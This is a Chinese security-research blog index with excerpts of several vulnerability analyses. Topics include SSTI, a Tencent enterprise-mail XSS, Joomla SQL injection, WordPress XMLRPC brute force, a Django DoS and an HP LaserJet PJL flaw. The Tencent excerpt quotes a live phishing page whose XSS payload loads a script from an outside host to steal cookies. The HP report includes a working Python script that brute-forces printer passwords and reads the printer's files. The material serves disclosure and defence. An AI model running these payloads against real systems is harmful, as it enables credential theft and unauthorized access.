-
服务端模板注入攻击 (SSTI) 之浅析
Author: RickGray (知道创宇404安全实验室)
在今年的黑帽大会上 James Kettle 讲解了《Server-Side Template Injection: RCE for the modern webapp》,从服务端模板注入的形成到检测,再到验证和利用都进行了详细的介绍。本文在理解原文内容的基础上,结合更为具体的示例对服务端模板注入的原理和扫描检测方法做一个浅析。
一条评论 -
腾讯企业邮箱跨站漏洞分析
Author: Evi1m0#KnownSec
中午朋友发来一个帖子询问我《朋友 6S 被偷了,小偷(可能是团伙)发来链接偷取 APPLE ID》是什么原理,之后和 RickGray 看了下是利用腾讯企业邮箱的 POST XSS 进行的盗取登录操作,从而登录受害者邮箱获取 APPLE ID。(目前腾讯已经修复此漏洞)
Target: http://eeee.washbowl.com.cn/
View-Source:
源码写入两个 iframe ,恶意代码在 /htmlpage5.html 中:
1234567891011121314151617181920212223242526272829<html><head><meta charset="utf-8" /><title>qqjs4</title></head><body><script>function test(PARAMS) {var temp = document.createElement("form");temp.acceptCharset = "utf-8";//By Wfoxtemp.action = 'http://m.exmail.qq.com/cgi-bin/login';temp.method = "post";temp.style.display = "none";for (var x in PARAMS) {var opt = document.createElement("textarea");opt.name = x;opt.value = PARAMS[x];temp.appendChild(opt);}document.body.appendChild(temp);temp.submit();}test({uin: '\\"</script><script src=http://ryige.com/q/8></script>',});</script></body></html>脚本创建 action 目标为腾讯企业邮箱的登录地址 form 表单,调用 test() 函数传入 uin 的参数值为 XSS Payload。
// 这个 POST 反射型 XSS 是由于企业邮箱登录报错未做过滤处理导致:
参数 uin ,攻击者注入 http://ryige.com/q/8 脚本:
Payload 将获取企业邮箱的 document.cookie & document.referrer 并发送给攻击者。
注:因腾讯企业邮箱不仅仅需要 Cookie 还需要登录成功后 URL sid 等信息;
-
Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析
Author: RickGray (知道创宇404安全实验室)
Date: 2015-10-23
昨日(2015-10-22),Joomla CMS发布新版本3.4.5,该版本修复了一个高危的SQL注入漏洞,3.2至3.4.4版本都受到影响。攻击者通过该漏洞可以直接获取获取数据库中敏感信息,甚至可以获取已登陆的管理员会话直接进入网站后台。
一、原理分析
在 Joomla CMS 中有一个查看历史编辑版本的组件(com_contenthistory),该功能本应只有管理员才能访问,但是由于开发人员的疏忽,导致该功能的访问并不需要相应的权限。通过访问 /index.php?option=com_contenthistory 可以使得服务端加载历史版本处理组件。程序流程会转到 /components/com_contenthistory/contenthistory.php 文件中:
-
知道创宇抓“人”才啦!——2016校招启动
-
WordPress 利用 XMLRPC 高效爆破 原理分析
Author: RickGray (知道创宇404安全实验室)
Date: 2015-10-09
xmlrpc 是 WordPress 中进行远程调用的接口,而使用 xmlrpc 调用接口进行账号爆破在很早之前就被提出并加以利用。近日 SUCURI 发布文章介绍了如何利用 xmlrpc 调用接口中的
system.multicall
来提高爆破效率,使得成千上万次的帐号密码组合尝试能在一次请求完成,极大的压缩请求次数,在一定程度上能够躲避日志的检测。 -
Linux drm_legacy_lock_free 空指针引用bug分析
-
WordPress Vulnerability Analysis (CVE-2015-5714 & CVE-2015-5715)
By: RickGray (知道创宇404安全实验室)
近日,WordPress 发布了新版本4.3.1,其中修复了几个严重的安全问题,其中包含了由 Check Point 所提交的一个跨站脚本漏洞(CVE-2015-5714)和一个权限提升漏洞(CVE-2015-5715)。
8月初,Check Point 在其官方博客上发表了一篇关于《WordPress漏洞三部曲》 系列文章的第一部,在这篇文章中,提及了 WordPress 在 4.2.3 版本中修复的一个越权漏洞,这里对此就不再做具体分析和说明,相关细节详情可参考原文和 phithon 所写的 《Wordpress4.2.3提权与SQL注入漏洞(CVE-2015-5623)分析》。
这里主要说明的是 "三部曲" 中的第三部,也就是 Check Point 在其博客上公开的关于 WordPress 4.3.1 版本中所修复的另一个越权漏洞和一个跨站脚本漏洞(原文在这里)。
1. "KSES"与简码过滤差异化导致的 XSS
-
Django logout function Denial-of-service
- Security releases issued: 1.8.4, 1.7.10, 1.4.22
- CVE: 2015-5963
- Fix: Update/1.8.4/1.7.10/1.4.22/Add @login_required()
Django 官方在八月十八号发布多个版本更新,修复几个安全问题,其中便包括一个由编码不当导致的 DoS 漏洞,测试一些网站均存在此问题。
Detail
django.contrib.auth.views.logout 视图用于开发者实现用户注销退出功能,正常情况下对于 logout 视图应使用官方提供的 django.contrib.auth.decorators.login_required 修饰器方法来判断用户是否已经登录。由于不少开发人员忽略使用修饰器进行判断,导致攻击者可以匿名访问视图,不断创建会话阻塞导致拒绝服务攻击。
django/contrib/sessions/middleware.py:
123456789101112131415161718192021try:accessed = request.session.accessedmodified = request.session.modifiedexcept AttributeError:passelse:if accessed:patch_vary_headers(response, ('Cookie',))if modified or settings.SESSION_SAVE_EVERY_REQUEST:if request.session.get_expire_at_browser_close():max_age = Noneexpires = Noneelse:max_age = request.session.get_expiry_age()expires_time = time.time() + max_ageexpires = cookie_date(expires_time)# Save the session data and refresh the client cookie.# Skip session save for 500 responses, refs #3881.if response.status_code != 500:request.session.save()response.set_cookie(.....在对 settings.SESSION_SAVE_EVERY_REQUEST 的判断条件中,middleware 中间件未对 session 的状态进行判断,导致可能绕过进入判断体创建空会话。
这意味着我们能够发送大量的请求对目标网站进行会话阻塞从而达到拒绝服务攻击:
Fix
django/contrib/sessions/middleware.py:
12345678910111213141516try:accessed = request.session.accessedmodified = request.session.modifiedempty = request.session.is_empty()except AttributeError:passelse:# First check if we need to delete this cookie.# The session should be deleted only if the session is entirely emptyif settings.SESSION_COOKIE_NAME in request.COOKIES and empty:response.delete_cookie(settings.SESSION_COOKIE_NAME,domain=settings.SESSION_COOKIE_DOMAIN)else:if accessed:patch_vary_headers(response, ('Cookie',))if (modified or settings.SESSION_SAVE_EVERY_REQUEST) and not empty:sessions/backends/base.py & sessions/backends/cached_db.py:
123456789101112131415def is_empty(self):"Returns True when there is no session_key and the session is empty"try:return not bool(self._session_key) and not self._session_cacheexcept AttributeError:return Truedef flush(self):"""Removes the current session data from the database and regenerates thekey."""self.clear()self.delete()self._session_key = None虽然严格意义上来讲它是个 DoS 漏洞,但另一方面它完全是由开发者不严谨导致的问题(官方背锅),修复版本将 flush() 的 create() 方法修改以避免创建新的空会话,增加 is_empty() 以用来进行会话判断。
如果你实在不想升级版本,那么记得在必要的视图层增加 @login_required('/') 修饰器。
-
HP LaserJet 打印机未授权访问漏洞分析报告
详细报告PDF 版下载:HP LaserJet 打印机未授权访问漏洞分析报告
1. 漏洞概要
2010年11月15日,惠普官方发布安全通告 c02004333,漏洞编号 CVE-2010-4107,由 PJL 接口权限设置不正确导致 LaserJet 系列打印机未经授权进行远程访问文件。
1.1. 漏洞描述
惠普 LaserJet 系列打印机的 JetDirect 服务默认运行于9100端口,其上的打印机作业语言(PJL)提供了一种在设备和远端主机之间进行数据交换的方法。通过 PJL 除了能够查看和更改打印机状态之外,还可以对打印机内置的文件系统进行访问。官方称该漏洞安全影响是未授权远程访问文件。
使用存在此漏洞的设备会带来数据泄漏、数据篡改、内网被渗透的风险。
1.2. 漏洞影响
受影响打印机系列:
HP LaserJet 以及 HP Color LaserJet 系列激光打印机,具体列表请见附件。2.3. 漏洞分析
2.3.1 密码爆破
惠普官方已经在2010年11月的安全通告上发布了漏洞解决办法,用户可以通过禁用 PJL 的文件系统访问权限或重新设置 PJL 密码来解决此问题。但 PJL 的安全密码是范围1-65535的数字,密码认证次数和频率并没有限制,远程攻击者可以通过爆破可以将 PJL 的密码安全保护禁用,进而可绕过密码验证通过 PJL 对打印机内置的文件系统进行读写。文件系统包含后台处理打印作业、收到的传真、日志文件和配置文件。
使用以下 Python3 程序对系统进行漏洞检测:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061import socketimport sysdef main():if len(sys.argv)<=1:print('Parameters error')returns = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.settimeout(10)s.connect((sys.argv[1],9100))s.settimeout(None)# 发送读取设备ID的PJL指令s.send(('33%-12345X@PJL INFO ID\r\n33%-12345X\r\n').encode('UTF-8'))print(s.recv(1024).decode('UTF-8'))for i in range(1, 65536):buf = b''# 发送重置密码的PJL指令s.send(('33%-12345X@PJL \r\n@PJL JOB PASSWORD=' + str(i) + '\r\n@PJL DEFAULT PASSWORD=0 \r\n@PJL EOJ\r\n33%-12345X\r\n').encode('UTF-8'))if i%30 == 0:# 发送查询密码保护状态的PJL指令s.send(('33%-12345X@PJL \r\n@PJL DINQUIRE PASSWORD\r\n33%-12345X\r\n').encode('UTF-8'))while True:buf += s.recv(1)print(buf)try:buf.index(b'\r\n\x0c')try:# 密码保护被禁用buf.index(b'DISABLED')print('password disabled ok!')# 发送查询目录的PJL指令s.send(('33%-12345X@PJL \r\n@PJL FSDIRLIST NAME = "0:\\" ENTRY=1 COUNT=99\r\n33%-12345X\r\n').encode('UTF-8'))buf = b''while True:buf += s.recv(1)print(buf)try:buf.index(b'\r\n\x0c')try:# 查询成功buf.index(b'ENTRY')print('PoC OK!')returnexcept ValueError:print('PoC NO!')returnexcept ValueError:continueexcept ValueError:print('password disabled faild!')finally:s.close()returnexcept ValueError:continues.close()if __name__ == '__main__':main()如果打印出“PoC OK!”,说明系统存在漏洞。PoC 验证脚本主要分为两个部分。第一部分发送重置密码的PJL指令进行密码爆破,每进行30次密码尝试后发送一次查询当前密码保护的状态的 PJL 指令,直到查询到密码保护被关闭即为爆破成功。爆破过程如图1所示,破解密码过程中返回打印机型号和PJL报文信息。
图1 Python3脚本爆破过程
第二部分发送查询磁盘文件的 PJL 指令,如果指令能够正确获取到目录,则 PJL 具有文件系统的访问权限,如图2所示,即存在漏洞,PoC 验证完成。
图2 Python3进行PoC验证
2.3.2. 打印机信息泄露
惠普打印机 File System External Access 的默认设置允许 PJL 命令访问该设备的文件系统。远程攻击者可以借助 PJL 读取任意文件,远程连接打印机并进行遍历目录操作,截图如下:
图3 连接远程打印机并遍历目录
进入打印机后台,读取目录后,可以进行上传、下载和删除文件的操作,截图如下:
图4 下载打印机内部文档
图5 删除打印机内文件并进行本地上传
3. ZoomEye 分析概要
通过网络空间搜索引擎 ZoomEye 进行全网搜索,得出目前全球10393台存在文件系统的惠普打印机中受到该漏洞影响的打印机有3625台,占比34.88%。
3.1. 受漏洞影响设备型号全球排名 TOP 10
受该漏洞影响打印机中 HP LaserJet 4250有424台(11.7%),HP LaserJet 4050有366台(10.1%),HP Color LaserJet 5550有267台(7.3%)。其中 HP LaserJet 系列打印机占所有受影响设备的73.9%。
图6 受漏洞影响设备型号全球排名 TOP 10
3.2. 受漏洞影响国家全球排名 TOP 10
受该漏洞影响的打印机数量全球排名前三分别是:
1、美国2315台,占比63.9%
2、韩国410台,占比11.3%
3、中国302台,占比8.3%图7 受漏洞影响国家全球排名 TOP 10
4.修复建议
1、禁止通过 PJL 访问文件系统
2、关注产品动态,将产品升级到最新版本5.总结
惠普 LaserJet 系列打印机未授权访问漏洞多年前就已经被爆出,惠普官方在2010年也给出了修补方案,然而在国内外都并未受到足够的重视,如今仍有很大一部分打印机存在未授权远程访问文件的危险,存于其上的私人文件甚至高密文件唾手可得,加强网络安全意识任重而道远。
6. 相关资源链接
1、知道创宇Sebug漏洞平台:
http://sebug.net/vuldb/ssvid-70298
2、惠普官方 PJL 技术手册:
http://h20565.www2.hp.com/hpsc/doc/public/display?docId=emr_na-bpl13208
3、惠普官方安全公告:
http://h20566.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c02004333
4、通用漏洞与披露官方网站:
http://cve.scap.org.cn/cve-2010-4107.html附件:受影响设备列表
HP Color LaserJet 2550 Series
HP Color LaserJet 3000
HP Color LaserJet 3500
HP Color LaserJet 3550
HP Color LaserJet 3700
HP Color LaserJet 3800
HP Color LaserJet 4500
HP Color LaserJet 4550 Series
HP Color LaserJet 4600
HP Color LaserJet 4650
HP Color LaserJet 4700
HP Color LaserJet 4730mfp
HP Color LaserJet 5500
HP Color LaserJet 5550
HP Color LaserJet 8550
HP Color LaserJet 9500
HP Color LaserJet CM2320fxi MFP
HP Color LaserJet CP3525
HP Color LaserJet CP4020 Series
HP Color LaserJet CP4520 Series
HP Color LaserJet CP5225dn
HP Color LaserJet CP5520 Series
HP Color LaserJet M651
HP Color LaserJet M750
HP Color LaserJet MFP M476dn
HP Color LaserJet MFP M476dw
HP DesignJet 130
HP DesignJet 130nr
HP LaserJet 1160 Series
HP LaserJet 1200
HP LaserJet 1220
HP LaserJet 1300
HP LaserJet 1320 Series
HP LaserJet 200 Color M251n
HP LaserJet 2100 Series
HP LaserJet 2200
HP LaserJet 2300 Series
HP LaserJet 2300L
HP LaserJet 2420
HP LaserJet 2430
HP LaserJet 3030
HP LaserJet 3330
HP LaserJet 400 Color M451dn
HP LaserJet 400 Color M451dw
HP LaserJet 400 Color M451nw
HP LaserJet 400 M401dn
HP LaserJet 400 M401dne
HP LaserJet 400 M401n
HP LaserJet 400 MFP M425dn
HP LaserJet 4000
HP LaserJet 4050
HP LaserJet 4100 MFP
HP LaserJet 4100 Series
HP LaserJet 4200
HP LaserJet 4200L
HP LaserJet 4240
HP LaserJet 4250
HP LaserJet 4300
HP LaserJet 4345 mfp
HP LaserJet 4350
HP LaserJet 500 Color M551
HP LaserJet 500 ColorMFP M570dn
HP LaserJet 5000
HP LaserJet 5100
HP LaserJet 5200
HP LaserJet 5200L
HP LaserJet 5200LX
HP LaserJet 600 M601
HP LaserJet 600 M602
HP LaserJet 600 M603
HP LaserJet 6P
HP LaserJet 8000
HP LaserJet 8100
HP LaserJet 8150
HP LaserJet 9000 Series
HP LaserJet 9040
HP LaserJet 9050
HP LaserJet M606
HP LaserJet P2015 Series
HP LaserJet P3005
HP LaserJet P3010 Series
HP LaserJet P4014
HP LaserJet P4015
HP LaserJet P4515
HP LaserJet Pro MFP M521dn
HP Officejet Pro X476dw MFP
HP Officejet Pro X551dw Printer -
PHP 7 ZEND_HASH_IF_FULL_DO_RESIZE Use After Free 漏洞分析
知道创宇安全研究团队 niubl:2015.8.18
1. PHP介绍
PHP(外文名: Hypertext Preprocessor,中文名:“超文本预处理器”)是一种通用开源脚本语言。
PHP语法吸收了C语言、Java和Perl的特点,易于学习,使用广泛,主要适用于Web开发领域。PHP 独特的语法混合了C、Java、Perl以及PHP自创的语法。它可以比CGI或者Perl更快速地执行动态网页。用PHP做出的动态页面与其他的编程语言相比,PHP是将程序嵌入到HTML(标准通用标记语言下的一个应用)文档中去执行,执行效率比完全生成HTML标记的CGI要高许多;PHP还可以执行编译后代码,编译可以达到加密和优化代码运行,使代码运行更快。 Read More »